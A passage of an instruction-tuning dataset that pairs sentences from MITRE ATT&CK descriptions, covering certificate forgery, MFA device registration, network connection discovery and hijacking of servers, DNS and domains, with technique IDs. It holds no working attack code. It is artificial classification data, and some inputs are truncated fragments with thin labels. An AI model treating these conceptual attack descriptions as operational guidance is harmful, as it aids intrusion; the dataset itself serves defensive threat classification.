text.", "input": "Adversaries who have access to root (or subordinate)", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who have access to root (or subordinate) ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned)", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned) ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)", "output": "T1649", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned) ### Response: T1649."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register a device to an adversary-controlled account.", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register a device to an adversary-controlled account. ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements.", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account.", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration)", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT) ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "output": "T1049", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. ### Response: T1049."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected.", "output": "T1049", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. ### Response: T1049."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals.", "output": "T1049", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. ### Response: T1049."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation:", "output": "T1049", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: ### Response: T1049."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)", "output": "T1049", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) ### Response: T1049."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.", "output": "T1049", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services. ### Response: T1049."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).", "output": "T1049", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). ### Response: T1049."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections.", "output": "T1049", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. ### Response: T1049."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\".", "output": "T1049", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\". ### Response: T1049."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A)", "output": "T1049", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A) ### Response: T1049."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting.", "output": "T1584.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. ### Response: T1584.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There exist a variety of cloud service providers that will sell virtual machines/containers as a service.", "output": "T1584.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There exist a variety of cloud service providers that will sell virtual machines/containers as a service. ### Response: T1584.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise VPSs purchased by third-party entities.", "output": "T1584.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise VPSs purchased by third-party entities. ### Response: T1584.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", "output": "T1584.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party. ### Response: T1584.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party DNS servers that can be used during targeting.", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party DNS servers that can be used during targeting. ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)).", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By compromising DNS servers, adversaries can alter DNS records.", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By compromising DNS servers, adversaries can alter DNS records. ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation:", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019)", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation:", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Crowdstrike DNS Hijack 2019)", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Crowdstrike DNS Hijack 2019) ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", "output": "T1584.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) ### Response: T1584.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)),", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.", "output": "T1584.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains. ### Response: T1584.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting.", "output": "T1584.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. ### Response: T1584.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.", "output": "T1584.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. ### Response: T1584.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)", "output": "T1584.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) ### Response: T1584.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)", "output": "T1584.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) ### Response: T1584.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting.", "output": "T1584.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. ### Response: T1584.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", "output": "T1584.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). ### Response: T1584.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party servers that can be used during targeting.", "output": "T1584.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party servers that can be used during targeting. ### Response: T1584.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of servers allows an adversary to stage, launch, and execute an operation.", "output": "T1584.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of servers allows an adversary to stage, launch, and execute an operation. ### Response: T1584.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.", "output": "T1584.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. ### Response: T1584.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.", "output": "T1584.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. ### Response: T1584.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.", "output": "T1584.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations. ### Response: T1584.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hijack domains and/or subdomains that can be used during targeting.", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hijack domains and/or subdomains that can be used during targeting. ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking)", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain access to an email account for the person listed as the owner of the domain.", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain access to an email account for the person listed as the owner of the domain. ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then claim that they forgot their password in order to make changes to the domain registration.", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then claim that they forgot their password in order to make changes to the domain registration. ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources.", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) ### Response: T1584.001."}{"instruction": "List the 